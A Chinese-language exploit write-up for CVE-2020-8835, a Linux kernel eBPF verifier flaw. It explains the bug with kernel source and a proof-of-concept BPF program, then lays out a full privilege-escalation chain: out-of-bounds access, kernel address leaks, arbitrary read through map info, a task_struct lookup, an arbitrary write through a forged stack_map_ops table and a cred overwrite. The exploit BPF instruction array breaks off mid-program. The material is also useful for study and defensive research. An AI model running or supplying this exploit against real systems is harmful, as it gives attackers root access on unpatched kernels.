【kernel exploit】CVE-2020-8835:eBPF verifier 錯誤處理導致越界讀寫
影響版本:v5.4.7 - v5.5.0 以及更新的版本,如5.6。
編譯選項:CONFIG_BPF_SYSCALL
,config所有帶BPF字樣的。
漏洞描述:在Linux Kernel commit(581738a681b6)中引入,kernel/bpf/verifier.c沒有正確將64位值轉換為32位(直接取低32位),使得BPF代碼驗證階段和實際執行階段不一致,導致越界讀寫。
補丁:patch 去掉 __reg_bound_offset32
函數及其調用。
測試版本:Linux-5.5.0 測試環境下載地址
利用過程:當BPF程序的寄存器來自map(外部傳遞)時,若該寄存器出現在JMP32指令中,會被__reg_bound_offset32
漏洞函數處理,導致verifier返回結果總為1。利用這個漏洞可以構造任意讀寫,越界讀可以泄露內核基址、傳入數據的基址;利用bpf_map_get_info_by_fd
函數構造任意4字節讀,泄露task_struct
地址,注意多核與單核的泄露方法有區別;通過偽造 stack_map_ops
函數表中 map_push_elem
指針為 queue_stack_map_get_next_key
,並替換 bpf_map->ops
指向偽造的 stack_map_ops
函數表,構造任意地址寫4字節,修改進程 task_struct
的 cred
進行提權。
一、eBPF簡介
eBPF是extended Berkeley Packet Filter的縮寫。起初是用於捕獲和過濾特定規則的網絡數據包,現在也被用在防火牆,安全,內核調試與性能分析等領域。
eBPF程序的運行過程如下:在用戶空間生產eBPF“字節碼”,然后將“字節碼”加載進內核中的“虛擬機”中,然后進行一些列檢查,通過則能夠在內核中執行這些“字節碼”。類似Java與JVM虛擬機,但是這里的虛擬機是在內核中的。
1. 內核中的eBPF驗證程序
允許用戶代碼在內核中運行存在一定的危險性。因此,在加載每個eBPF程序之前,都要執行許多檢查。主要函數是bpf_check()
,包含check_cfg()
和do_check_main()
函數。
第一,調用check_cfg()
——確保eBPF程序能正常終止,不包含任何可能導致內核鎖定的循環。這是通過對程序的控制流圖CFG進行深度優先搜索來實現的。程序需3個條件:a.所有指令必須可達;b.沒有往回跳轉的指令;c.沒有跳的太遠超出指令范圍的指令。
第二,調用do_check_main()
->do_check_common()
->do_check()
——內核驗證器(verifier ),模擬eBPF程序的執行,模擬通過后才能正常加載。在執行每條指令之前和之后,都需要檢查虛擬機狀態,以確保寄存器和堆棧狀態是有效的。禁止越界跳轉,也禁止訪問非法數據。
驗證器不需要遍歷程序中的每條路徑,它足夠聰明,可以知道程序的當前狀態何時是已經檢查過的狀態的子集。由於所有先前的路徑都必須有效(否則程序將無法加載),因此當前路徑也必須有效。 這允許驗證器“修剪”當前分支並跳過其仿真。其次具有未初始化數據的寄存器無法讀取,這樣做會導致程序加載失敗。
在遇到具有分支,例如if xxx goto pc+x
這樣的語句,內核會檢測if
判斷的條件是否恆成立。若判斷為恆成立或者恆不成立,則只分析相應的那一分支,而另一分支則不進行分析。沒有被分析到的指令被視為dead code
,會調用sanitize_dead_code()
將dead code全部替換為exit。
第三,驗證器使用eBPF程序類型來限制可以從eBPF程序中調用哪些內核函數以及可以訪問哪些數據結構。
bpf程序的執行流程如下圖:
2. eBPF程序的載入
(1)bpf_insn —— 指令結構體
struct bpf_insn {
__u8 code; /* opcode */
__u8 dst_reg:4; /* dest register */
__u8 src_reg:4; /* source register */
__s16 off; /* signed offset */
__s32 imm; /* signed immediate constant */
};
每一個eBPF程序都是一個bpf_insn
數組,使用bpf系統調用將其載入內核。
(2)bpf_prog_load —— eBPF程序載入的系統調用
#define LOG_BUF_SIZE 65536
#define __NR_BPF 321
char bpf_log_buf[LOG_BUF_SIZE];
int bpf_prog_load(enum bpf_prog_type type,
const struct bpf_insn *insns, int insn_cnt,
const char *license)
{
union bpf_attr attr = {
.prog_type = type, // type —— eBPF程序類型,不同類型的程序作用不同,例如當type為BPF_PROG_TYPE_SOCKET_FILTER時,表示該程序的作用是過濾進出口網絡報文
.insns = ptr_to_u64(insns), // insns —— bpf_insn數組,表示該程序的指令
.insn_cnt = insn_cnt, // insn_cnt —— 指令的條數
.license = ptr_to_u64(license), // license —— 必須為"GPL"
.log_buf = ptr_to_u64(bpf_log_buf), // bpf_log_bpf —— 存儲的log信息,可以在程序載入內核之后打印它,能獲取比較詳細的驗證時信息
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
return syscall(__NR_BPF, BPF_PROG_LOAD, &attr, sizeof(attr));
}
用戶層調用編寫示例:
int load_prog()
{
struct bpf_insn prog[] = {
/*
指令……
*/
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog)/sizeof(struct bpf_insn), "GPL");
}
二、漏洞分析
1. POC
poc如下:goto pc-1
不能通過check_cfg
檢查,但還是被載入內核。
0: (b7) r0 = 808464432
1: (7f) r0 >>= r0
2: (14) w0 -= 808464432
3: (07) r0 += 808464432
4: (b7) r1 = 808464432
5: (de) if w1 s<= w0 goto pc+0
6: (07) r0 += -2144337872
7: (14) w0 -= -1607454672
8: (25) if r0 > 0x30303030 goto pc+0
9: (76) if w0 s>= 0x303030 goto pc+2
10: (05) goto pc-1
11: (05) goto pc-1
12: (95) exit
漏洞原因:內核在檢查程序合法性的過程中,第9句在檢查時被判斷為恆成立,之后的檢查便只檢查了第12句,第10和第11句被視為dead code
,在之后的sanitize_dead_code()
函數中被修改為goto pc-1
。而沒有想到的是,在實際執行的時候第9句實際上是恆不成立,因此就導致程序執行了goto pc-1
。在實際執行跳轉指令的時候,跳轉的偏移會默認加1,因此實際上goto pc-1
跳轉到的地方不是自己的上一條,而是自己,這就導致程序空轉,陷入死循環。
模擬執行時,reg->smin_value
為0x10300000
,sval
為0x303030
,可以看到這里會返回1,表示該if語句恆成立,下一個被檢測的語句就變成了第12句,而第10和第11句就被patch成了goto pc-1
。
實際執行時,此刻的w0
為0xCFD0
,小於0x303030
,就會導致真正在執行的過程中,內核會執行goto pc-1
,導致空轉,死循環。
2. 漏洞分析
(2-1)寄存器結構體:模擬運行BPF指令時,用bpf_reg_state來保存寄存器的狀態信息
// ------------------------------------------------
struct bpf_reg_state {
enum bpf_reg_type type;
union {
/* valid when type == PTR_TO_PACKET */
u16 range;
/* valid when type == CONST_PTR_TO_MAP | PTR_TO_MAP_VALUE |
* PTR_TO_MAP_VALUE_OR_NULL
*/
struct bpf_map *map_ptr;
u32 btf_id; /* for PTR_TO_BTF_ID */
/* Max size from any of the above. */
unsigned long raw;
};
s32 off;
u32 id;
u32 ref_obj_id;
/* For scalar types (SCALAR_VALUE), this represents our knowledge of
* the actual value.
* For pointer types, this represents the variable part of the offset
* from the pointed-to object, and is shared with all bpf_reg_states
* with the same id as us.
*/
struct tnum var_off; // tnum結構體詳見以下!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
/* Used to determine if any memory access using this register will
* result in a bad access.
* These refer to the same value as var_off, not necessarily the actual
* contents of the register.
*/
s64 smin_value; // 有符號時可能的最小值
s64 smax_value; // 有符號時可能的最大值
u64 umin_value; // 無符號時可能的最小值
u64 umax_value; // 無符號時可能的最大值
struct bpf_reg_state *parent;
u32 frameno;
s32 subreg_def;
enum bpf_reg_liveness live;
/* if (!precise && SCALAR_VALUE) min/max/tnum don't affect safety */
bool precise;
};
// ------------------------------------------------
/* tnum: tracked (or tristate) numbers
*
* A tnum tracks knowledge about the bits of a value. Each bit can be either
* known (0 or 1), or unknown (x). Arithmetic operations on tnums will
* propagate the unknown bits such that the tnum result represents all the
* possible results for possible values of the operands.
*/
struct tnum {
u64 value; // value: 某個bit為1 表示這個寄存器的這個bit 確定是1
u64 mask; // mask: 某個bit 為1表示這個 bit 是未知的
};
示例:假如value
是 010
(二進制表示) , mask
是100
, 那么就是經過前面的指令的模擬執行之后,可以確定這個寄存器的第二個bit 一定是 1, 第三個 bit 在mask
里面設置了,表示這里不確定,可以是1或者是0。詳細的文檔可以在Documentnetworking/filter.txt
里面找到。
(2-2)漏洞函數——__reg_bound_offset32()
用於處理跳轉指令
__reg_bound_offset32()
函數由commit 581738a681b6引入。
static void __reg_bound_offset32(struct bpf_reg_state *reg)
{
u64 mask = 0xffffFFFF;
struct tnum range = tnum_range(reg->umin_value & mask,
reg->umax_value & mask);
struct tnum lo32 = tnum_cast(reg->var_off, 4);
struct tnum hi32 = tnum_lshift(tnum_rshift(reg->var_off, 32), 32);
reg->var_off = tnum_or(hi32, tnum_intersect(lo32, range));
}
(2-3)跳轉指令的處理
示例:對於跳轉指令,例如指令BPF_JMP_IMM(BPF_JGE, BPF_REG_5, 8, 3)
。會采用__reg_bound_offset()
函數(__reg_bound_offset32
的64位版本)來更新狀態,false_reg
和true_reg
分別代表兩個分支的狀態,即該if
不成立時的reg
和if
成立時的reg
。
// reg_set_min_max_inv() 函數:遇到跳轉指令時,若待比較的r0不是一個確定的數字,因此會調用reg_set_min_max_inv來設置寄存器的最大最小值。
// 調用順序:do_check() -> check_cond_jmp_op() -> reg_set_min_max_inv() -> __reg_bound_offset32()
/* We might have learned some bits from the bounds. */
__reg_bound_offset(false_reg);
__reg_bound_offset(true_reg);
if (is_jmp32) { <----------------------
__reg_bound_offset32(false_reg); <-------------------
__reg_bound_offset32(true_reg); <-------------------
}
當 r5 >= 8
的時候 , 這條指令會跳到pc+3
(正確分支),r5<8
時跳到錯誤分支。
(2-4)__reg_bound_offset32
流程分析
說明:__reg_bound_offset32
會在使用BPF_JMP32
指令時調用,ebpf 的BPF_JMP
寄存器之間是64bit比較的,換成BPF_JMP32
的時候就只會比較低32bit。 接着看看__reg_bound_offset32()
的過程:
// __reg_bound_offset32() —— 根據reg->umin_value && umax_value,求reg->var_off的范圍
static void __reg_bound_offset32(struct bpf_reg_state *reg)
{
u64 mask = 0xffffFFFF;
struct tnum range = tnum_range(reg->umin_value & mask,
reg->umax_value & mask); // 1.把之前狀態轉移的umin_value 和umax_value 只取低32bit , 創建一個新的 tnum
struct tnum lo32 = tnum_cast(reg->var_off, 4); // 2.取原來 var_off 的 低32bit
struct tnum hi32 = tnum_lshift(tnum_rshift(reg->var_off, 32), 32);
reg->var_off = tnum_or(hi32, tnum_intersect(lo32, range)); // 3.tnum_intersect —— 如果a和b有某一個bit是1, 那么代表已經確定這個bit是1了, 所以這里用| 的方式, 兩者信息整合起來最后生成一個新的var_off
}
struct tnum tnum_range(u64 min, u64 max)
{
u64 chi = min ^ max, delta;
// 從右往左數,第一個為1的bit 是哪一位(從1開始數), 表示沒有1
// 如: fls64(0100) == 3
u8 bits = fls64(chi);
/* special case, needed because 1ULL << 64 is undefined */
if (bits > 63)
return tnum_unknown;
/* e.g. if chi = 4, bits = 3, delta = (1<<3) - 1 = 7.
|* if chi = 0, bits = 0, delta = (1<<0) - 1 = 0, so we return
|* constant min (since min == max).
|*/
delta = (1ULL << bits) - 1;
return TNUM(min & ~delta, delta);
}
struct tnum tnum_intersect(struct tnum a, struct tnum b)
{
u64 v, mu;
v = a.value | b.value;
mu = a.mask & b.mask;
return TNUM(v & ~mu, mu);
}
漏洞:計算range
的時候直接取低32bit,因為原本的umin_value
和 umax_value
都是64bit的, 假如計算之前umin_value == 1
, umax_value == 1 0000 0001
, 取低32bit之后他們都會等於1,這樣range計算完之后TNUM(min & ~delta, delta);
, min = 1
, delta = 0
(chi == 0)。
然后到tnum_intersect
函數, 假設a.value = 0
,計算后的v == 1
,mu ==0
,最后得到的 var_off
就是固定值1
, 也就是說,不管寄存器真實的值是怎么樣,在verifier
過程都會把它當做是1。
解釋:看POC中0 & 1,開始r0賦值為具體值,經過第1條語句后變成不確定的值,這樣經過verifier
過程之后r0.var_off->value就變成0了;另一種情況,如果r0是運行時載入的,那r0也是不確定的值,經過verifier
過程之后就被當做1了。
例1:
0: (b7) r0 = 808464432
1: (7f) r0 >>= r0 # r0 右移位數超過 63,則r0變成不確定的值
例2:創建數組array map,運行時將map[1]載入 r6,這時verifier
不知道r6是什么,這時r6.var_off->value = 0
。
3.調試分析
首先創建array map,讓 r9 = map[1]
。r6是用於測試漏洞的寄存器。
BPF_LDX_MEM(BPF_DW,6,9,0), // 把map[1]值加載到r6中,這樣verifier不知道r6是什么,這時r6.var_off->value = 0。
BPF_JMP_IMM(BPF_JGE,6,1,1), // 在pc+1 的地方 umin_value 變成1
BPF_EXIT_INSN(),
BPF_MOV64_IMM(8,0x1), // 這個時候 r8 = 0x100000001, BPF_JLE 的 pc+1 分支上, umax_value = 0x100000001
BPF_ALU64_IMM(BPF_LSH,8,32),
BPF_ALU64_IMM(BPF_ADD,8,1),
/*BPF_JLE tnum umax 0x100000001*/
BPF_JMP_REG(BPF_JLE,6,8,1),
BPF_EXIT_INSN(),
BPF_JMP32_IMM(BPF_JNE,6,5,1), // 觸發漏洞 BPF_JMP32_IMM
BPF_EXIT_INSN(),
因為r6
是從 map[0]
load 進來的,實際運行的時候可以是任何值,但經過verifier操作后都被當做1。
在__reg_bound_offset32
下個斷點,我這里是在kernel/bpf/verifier.c:1038
, false_reg
和true_reg
在函數執行前后值如下:
// false_reg 執行前
var_off = {
value = 0x5,
mask = 0x100000000
},
smin_value = 0x1,
smax_value = 0x100000001,
umin_value = 0x1,
umax_value = 0x100000001,
//--- 執行后
var_off = {
value = 0x5,
mask = 0x100000000
},
smin_value = 0x1,
smax_value = 0x100000001,
umin_value = 0x1,
umax_value = 0x100000001,
// true_reg 執行前
var_off = {
value = 0x0,
mask = 0x1ffffffff
},
smin_value = 0x1,
smax_value = 0x100000001,
umin_value = 0x1,
umax_value = 0x100000001,
// --- 執行后
var_off = {
value = 0x1, // 變成1,恆跳轉
mask = 0x100000000
},
smin_value = 0x1,
smax_value = 0x100000001,
umin_value = 0x1,
umax_value = 0x100000001,
三、利用
1.漏洞利用
// 前面的指令執行完后,再執行以下指令,一開始令 r6=2*(實際值),但verifier后會被當做1。
BPF_ALU64_IMM(BPF_AND, 6, 2), // verifier: ( 1&2 )>>1 == 0; 實際執行: (2 & 2) >> 1 ==1。
BPF_ALU64_IMM(BPF_RSH, 6, 1),
BPF_ALU64_IMM(BPF_MUL,6,0x110), // r6 = r6 * 0x110 , verifier 過程仍然認為r6 = 0,但是實際運行時 r6 = 0x110
BPF_MOV64_REG(7,0), // 獲取一個map,我們叫它expmap 吧, r7 = expmap[0]
BPF_ALU64_REG(BPF_SUB,7,6) // r7 = r7 - r6,r7是指針,verifier 會根據map的 size 來檢查邊界。但是verifier 認為 r6==0, r7 - 0 == r7, 可通過檢查。實際執行時 r7 = r7 - 0x110,即可越界讀寫。
2.地址泄露
// 創建map,傳入用戶數據,這個結構是用戶態與內核態交互的一塊共享內存
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,key_size,value_size,max_entries,0);
int bpf_create_map(enum bpf_map_type map_type, int key_size,
int value_size, int max_entries, __u32 map_flags)
// key_size:表示索引的大小范圍,key_size=sizeof(int)=4.
// value_size:表示map數組每個元素的大小范圍,可以任意,只要控制在一個合理的范圍
// max_entries:表示map數組的大小,編寫利用時將其設為1
bpf_create_map()
實際調用map_create()
來創建bpf_array
結構,我們傳入的數據放在value[] 處:
struct bpf_array {
struct bpf_map map; <-----------------
u32 elem_size;
u32 index_mask;
struct bpf_array_aux *aux;
union {
char value[]; // 我們傳入的數據,在 bpf_array 中偏移0x110,所以bpf_map的結構地址是*(&map-0x110)
void *ptrs[];
void *pptrs[];
};
}
struct bpf_map {
const struct bpf_map_ops *ops; // 創建map時設置 BPF_MAP_TYPE_ARRAY 類型時,會將ops指針賦值為array_map_ops, array_map_ops 是一個全局結構包含很多函數指針,可以用於泄露內核地址;設置為BPF_MAP_TYPE_STACK 時 ops指針賦值為 stack_map_ops。
struct bpf_map *inner_map_meta;
void *security;
enum bpf_map_type map_type;
//....
u64 writecnt;
}
// /kernel/bpf/arraymap.c#L447 BPF_MAP_TYPE_ARRAY
const struct bpf_map_ops array_map_ops = {
.map_alloc_check = array_map_alloc_check,
.map_alloc = array_map_alloc,
.map_free = array_map_free,
.map_get_next_key = array_map_get_next_key,
.map_lookup_elem = array_map_lookup_elem,
.map_update_elem = array_map_update_elem,
.map_delete_elem = array_map_delete_elem,
.map_gen_lookup = array_map_gen_lookup,
.map_direct_value_addr = array_map_direct_value_addr,
.map_direct_value_meta = array_map_direct_value_meta,
.map_seq_show_elem = array_map_seq_show_elem,
.map_check_btf = array_map_check_btf,
};
// /kernel/bpf/queue_stack_maps.c#L272 BPF_MAP_TYPE_STACK
const struct bpf_map_ops stack_map_ops = {
.map_alloc_check = queue_stack_map_alloc_check,
.map_alloc = queue_stack_map_alloc,
.map_free = queue_stack_map_free,
.map_lookup_elem = queue_stack_map_lookup_elem,
.map_update_elem = queue_stack_map_update_elem,
.map_delete_elem = queue_stack_map_delete_elem,
.map_push_elem = queue_stack_map_push_elem,
.map_pop_elem = stack_map_pop_elem,
.map_peek_elem = stack_map_peek_elem,
.map_get_next_key = queue_stack_map_get_next_key,
};
泄露內核地址:讀取bpf_map_ops *ops
指針即可。
泄露map_elem地址:&exp_value[0]-0x110+0xc0(wait_list)處保存着指向wait_list
自身(bpf_array
中)的地址,用於泄露exp_value的地址。
gef➤ p/a *(struct bpf_array *)0xffff88800d878000
$5 = {
map = {
ops = 0xffffffff82016340 <array_map_ops>,//<-- 泄露內核地址
inner_map_meta = 0x0 <fixed_percpu_data>,
security = 0xffff88800e93f0f8,
map_type = 0x2 <fixed_percpu_data+2>,
key_size = 0x4 <fixed_percpu_data+4>,
value_size = 0x2000 <irq_stack_backing_store>,
max_entries = 0x1 <fixed_percpu_data+1>,
//...
usercnt = {
//..
wait_list = {
next = 0xffff88800d8780c0,//<-- 泄露 bpf_array 地址
prev = 0xffff88800d8780c0
}
},
writecnt = 0x0 <fixed_percpu_data>
},
elem_size = 0x2000 <irq_stack_backing_store>,
index_mask = 0x0 <fixed_percpu_data>,
aux = 0x0 <fixed_percpu_data>,
{
value = 0xffff88800d878110,//<-- r7
ptrs = 0xffff88800d878110,
pptrs = 0xffff88800d878110
}
}
3.任意讀
方法:利用BPF_OBJ_GET_INFO_BY_FD
選項進行任意讀。通過修改map->btf
指針為target_addr-0x58
,讀取map->btf+0x58
處的32 bit值(map->btf.id
)。
調用順序:BPF_OBJ_GET_INFO_BY_FD
-> bpf_obj_get_info_by_fd()
-> bpf_map_get_info_by_fd()
// bpf_map_get_info_by_fd()
static int bpf_map_get_info_by_fd(struct bpf_map *map,
const union bpf_attr *attr,
union bpf_attr __user *uattr)
{
struct bpf_map_info __user *uinfo = u64_to_user_ptr(attr->info.info);
struct bpf_map_info info = {}; <---------------------------
u32 info_len = attr->info.info_len;
......
if (map->btf) {
info.btf_id = btf_id(map->btf); // 修改map->btf 就可以進行任意讀,獲得btf_id,在btf結構偏移0x58處
info.btf_key_type_id = map->btf_key_type_id;
info.btf_value_type_id = map->btf_value_type_id;
}
......
if (copy_to_user(uinfo, &info, info_len) || // 傳到用戶態的info中,泄露信息
put_user(info_len, &uattr->info.info_len))
return -EFAULT;
return 0;
}
u32 btf_id(const struct btf *btf)
{
return btf->id;
}
(gdb) p/x &(*(struct btf*)0)->id // 獲取id在btf結構中的偏移 —— 等號右邊
$56 = 0x58
(gdb) p/x &(*(struct bpf_map_info*)0)->btf_id // 獲取btf_id在bpf_map_info中偏移 —— 等號左邊
$57 = 0x40
所以只需要修改 map->btf
為 target_addr-0x58
,就可以把btf->id
(target_addr
處的值)泄露到用戶態info中,泄漏的信息在struct bpf_map_info 結構偏移0x40處,由於是u32類型,所以一次只能泄露4個字節。
利用代碼如下:
static uint32_t bpf_map_get_info_by_fd(uint64_t key, void *value, int mapfd, void *info)
{
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)&key,
.value = (__u64)value,
.info.bpf_fd = mapfd,
.info.info_len = 0x100,
.info.info = (__u64)info,
};
syscall(__NR_bpf, BPF_OBJ_GET_INFO_BY_FD, &attr, sizeof(attr));
return *(uint32_t *)((char *) +0x40);
}
4.查找task_struct
// 通過gdb調試來尋找 init_pid_ns 結構的地址
ksymtab 保存init_pid_ns結構的偏移,init_pid_ns字符串的偏移
kstrtab 保存init_pid_ns的字符串
(gdb) p &__ksymtab_init_pid_ns
$48 = (<data variable, no debug info> *) 0xffffffff822f2578
(gdb) x/2wx 0xffffffff822f2578
0xffffffff822f2578: 0x001527c8 0x0000a1f9 // init_pid_ns 結構的位置偏移 + 字符串偏移
(gdb) x/10s 0xffffffff822f257c+0xa1f9
0xffffffff822fc775 <__kstrtab_init_pid_ns>: "init_pid_ns"
0xffffffff822fc781 <__kstrtabns_kernel_param_unlock>: ""
(gdb) x/10gx 0xffffffff822f2578+0x001527c8
0xffffffff82444d40 <init_pid_ns>: 0x0000000000000002 0x0080000400000000
0xffffffff82444d50 <init_pid_ns+16>: 0xffff88801e469242 0x0000006f00000000
(4-1)通過漏洞來搜索 init_pid_ns 結構的地址
先搜索"init_pid_ns" 字符串可以得到 __kstrtab_init_pid_ns
的地址;再搜索滿足 target_addr + (int)*target_addr == __kstrtab_init_pid_ns
條件的 target_addr
,target_addr - 4
即為 __ksymtab_init_pid_ns
地址;加上 init_pid_ns 結構的位置偏移即可,target_addr - 4 + (int)*(target_addr - 4)
即為 init_pid_ns 結構的地址。
(4-2)通過pid 和 init_pid_ns
查找對應pid的 task_struct
內核查找過程:通過 find_task_by_pid_ns
函數查找。
// -------------(1)
struct task_struct *find_task_by_pid_ns(pid_t nr, struct pid_namespace *ns) // nr —— 當前進程的pid;ns —— init_pid_ns結構地址;目標 —— ns->idr字段的內容。
{
RCU_LOCKDEP_WARN(!rcu_read_lock_held(),
"find_task_by_pid_ns() needs rcu_read_lock() protection");
return pid_task(find_pid_ns(nr, ns), PIDTYPE_PID); // <------------
}
// -------------(2)
struct pid *find_pid_ns(int nr, struct pid_namespace *ns)
{
return idr_find(&ns->idr, nr); // <---------
}
// -------------(3)lib/idr.c:
void *idr_find(const struct idr *idr, unsigned long id)
{
return radix_tree_lookup(&idr->idr_rt, id - idr->idr_base); // 目標 —— 獲取&idr->idr_rt 和 idr->idr_base
}
// -------------(4)lib/radix-tree.c:
void *radix_tree_lookup(const struct radix_tree_root *root, unsigned long index)
{
return __radix_tree_lookup(root, index, NULL, NULL); // <-------------
}
// -------------(5)
void *__radix_tree_lookup(const struct radix_tree_root *root,
unsigned long index, struct radix_tree_node **nodep,
void __rcu ***slotp)
{
struct radix_tree_node *node, *parent;
unsigned long maxindex;
void __rcu **slot;
restart:
parent = NULL;
slot = (void __rcu **)&root->xa_head;
radix_tree_load_root(root, &node, &maxindex); //將root->xa_head的值賦給node
if (index > maxindex)
return NULL;
while (radix_tree_is_internal_node(node)) {
unsigned offset;
parent = entry_to_node(node); // parent = node & 0xffff ffff ffff fffd
offset = radix_tree_descend(parent, &node, index); // 重點:循環查找當前進程的node
slot = parent->slots + offset; //
if (node == RADIX_TREE_RETRY)
goto restart;
if (parent->shift == 0) // 當shift為0時,退出,說明找到當前進程的node
break;
}
if (nodep)
*nodep = parent;
if (slotp)
*slotp = slot;
return node;
}
// -------------(6)重點 —— radix_tree_descend: 獲取當前進程的node
RADIX_TREE_MAP_MASK : 0x3f
static unsigned int radix_tree_descend(const struct radix_tree_node *parent,
struct radix_tree_node **nodep, unsigned long index)
{
unsigned int offset = (index >> parent->shift) & RADIX_TREE_MAP_MASK; // 要讀取parent->shift的值,並與0x3f 與計算
void __rcu **entry = rcu_dereference_raw(parent->slots[offset]); // 獲取parent->slots[offset] 作為下一個node
*nodep = (void *)entry; //
return offset; //
}
// -------------radix_tree_node 結構
#define radix_tree_node xa_node
struct xa_node {
unsigned char shift; /* Bits remaining in each slot */
unsigned char offset; /* Slot offset in parent */
unsigned char count; /* Total entry count */
unsigned char nr_values; /* Value entry count */
struct xa_node __rcu *parent; /* NULL at top of tree */
struct xarray *array; /* The array we belong to */
union {
struct list_head private_list; /* For tree user */
struct rcu_head rcu_head; /* Used when freeing node */
};
void __rcu *slots[XA_CHUNK_SIZE];
union {
unsigned long tags[XA_MAX_MARKS][XA_MARK_LONGS];
unsigned long marks[XA_MAX_MARKS][XA_MARK_LONGS];
};
};
// -------------(7)跳到第一步出現的 pid_task: 根據當前進程的node獲取相應的 task_struct
enum pid_type
{
PIDTYPE_PID,
PIDTYPE_TGID,
PIDTYPE_PGID,
PIDTYPE_SID,
PIDTYPE_MAX,
};
type 為PIDTYPE_PID, 值為0
#define hlist_entry(ptr, type, member) container_of(ptr,type,member)
struct task_struct *pid_task(struct pid *pid, enum pid_type type)
{
struct task_struct *result = NULL;
if (pid) {
struct hlist_node *first;
first = rcu_dereference_check(hlist_first_rcu(&pid->tasks[type]), // 獲取&pid->tasks[0] 的內容
lockdep_tasklist_lock_is_held());
if (first)
result = hlist_entry(first, struct task_struct, pid_links[(type)]);// first為pid_links[0]的地址,由此獲得task_struct的起始地址
}
return result;
}
// ------------- tasks[0] 和 pid_links[0] 的偏移
(gdb) p/x &(*(struct pid*)0x0)->tasks[0]
$10 = 0x8
(gdb) p/x &(*(struct task_struct *)0)->pid_links[0]
$8 = 0x500
5.任意寫
步驟:
-
調用
bpf_create_map()
構造bpf_array
時,類型設置為BPF_MAP_TYPE_QUEUE
或者BPF_MAP_TYPE_STACK
。(這樣bpf_array->map->ops
會被賦值為全局函數表queue_map_ops
或stack_map_ops
,其中包含可利用的map_push_elem
函數指針)。 -
在
exp_value
上布置偽造的array_map_ops
,偽造的array_map_ops
中將map_push_elem
填充為map_get_next_key
,這樣調用map_push_elem
時就會調用map_get_next_key
,並將&exp_value[0]
的地址覆蓋到exp_map[0]
,同時要構造 map 的一些字段繞過某些檢查。
struct bpf_array {
struct bpf_map map; // <-------- 覆蓋為 &exp_value[0]
u32 elem_size;
u32 index_mask;
struct bpf_array_aux *aux;
union {
char value[]; // 用戶數據 exp_value,放置偽造的 array_map_ops 函數表
void *ptrs[];
void *pptrs[];
};
}
// /kernel/bpf/queue_stack_maps.c#L272 BPF_MAP_TYPE_STACK
const struct bpf_map_ops stack_map_ops = {
.map_alloc_check = queue_stack_map_alloc_check,
.map_alloc = queue_stack_map_alloc,
.map_free = queue_stack_map_free,
.map_lookup_elem = queue_stack_map_lookup_elem,
.map_update_elem = queue_stack_map_update_elem,
.map_delete_elem = queue_stack_map_delete_elem,
.map_push_elem = queue_stack_map_push_elem, // 偽造成 map_get_next_key
.map_pop_elem = stack_map_pop_elem,
.map_peek_elem = stack_map_peek_elem,
.map_get_next_key = queue_stack_map_get_next_key,
};
// 需偽造的關鍵字段
spin_lock_off = 0
max_entries = 0xffff ffff
//寫入的index要滿足(index >= array->map.max_entries), 將map_entries改成0xffff ffff
map_type = BPF_MAP_TYPE_STACK
//map 的類型是BPF_MAP_TYPE_QUEUE或者BPF_MAP_TYPE_STACK時,map_update_elem 會調用map_push_elem
- 調用bpf_update_elem任意寫內存
bpf_update_elem->map_update_elem(mapfd, &key, &value, flags) -> map_push_elem(被填充成 map_get_next_key )
->array_map_get_next_key
int (*map_push_elem)(struct bpf_map *map, void *value, u64 flags);
//
static int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)
{
struct bpf_array *array = container_of(map, struct bpf_array, map);
u32 index = key ? *(u32 *)key : U32_MAX;
u32 *next = (u32 *)next_key;
if (index >= array->map.max_entries) { // index = value[0]
*next = 0;
return 0;
}
if (index == array->map.max_entries - 1)
return -ENOENT;
*next = index + 1; // (u32 *)next_key = *(u32 *)key +1 *flags = value[0]+1
return 0;
}
map_push_elem()
的參數是 value
和 uattr->flags
,分別對應 array_map_get_next_key()
的 key
和 next_key
參數,之后有 index = value[0]
,next = flags
, 最終效果是 *flags = value[0]+1
,這里index 和 next 都是 u32 類型, 所以可以任意地址寫 4個byte。
6.總結
bpf_insn
說明:
- r6 保存ctrl_value的地址,r7保存exp_value的地址,r8為偏移
- ctrl_map 保存輸入的偏移,泄露的地址,以及執行覆蓋偽造的array_map_ops操作
- exp_map 保存偽造的array_map_ops
struct bpf_insn my_prog[] = {
//-------- ctrl_mapfd
BPF_LD_MAP_FD(BPF_REG_9,ctrl_mapfd), // r9 = ctrl_mapfd
BPF_MAP_GET(0,BPF_REG_8), // r8 = map[0] 即為 0x110
BPF_MOV64_REG(BPF_REG_6, BPF_REG_0), // r6 = r0
BPF_LD_IMM64(BPF_REG_2,0x4000000000), // r2 = 0x4000000000
BPF_LD_IMM64(BPF_REG_3,0x2000000000), // r3 = 0x2000000000
BPF_LD_IMM64(BPF_REG_4,0xFFFFffff), // r4 = 0xFFFFffff
BPF_LD_IMM64(BPF_REG_5,0x1), // r5 = 0x1
BPF_JMP_REG(BPF_JGT,BPF_REG_8,BPF_REG_2,5), // r8 > 0x4000000000 則跳轉
BPF_JMP_REG(BPF_JLT,BPF_REG_8,BPF_REG_3,4), // r8 < 0x2000000000 則跳轉
BPF_JMP32_REG(BPF_JGT,BPF_REG_8,BPF_REG_4,3),// r8 > 0xFFFFffff 則跳轉
BPF_JMP32_REG(BPF_JLT,BPF_REG_8,BPF_REG_5,2),// r8 < 0x1 則跳轉
BPF_ALU64_REG(BPF_AND,BPF_REG_8,BPF_REG_4), // r8 = r8 & 0xFFFFffff 偏移r8檢查時為0,而實際值為0x110
BPF_JMP_IMM(BPF_JA, 0, 0, 2),
BPF_MOV64_IMM(BPF_REG_0,0x0), // r9 = 0
BPF_EXIT_INSN(),
//-------- exp_mapfd
BPF_LD_MAP_FD(BPF_REG_9,exp_mapfd), // r9 = exp_mapfd
BPF_MAP_GET_ADDR(0,BPF_REG_7),
BPF_ALU64_REG(BPF_SUB,BPF_REG_7,BPF_REG_8), // r7 = r7-r8 = r7-0x110
BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_7,0), // r7 = &exp_value[0]-0x110 , 獲得array_map_ops的地址 —— 泄露內核基址
BPF_STX_MEM(BPF_DW,BPF_REG_6,BPF_REG_0,0x10), // leak *(&exp_value[0]-0x110)
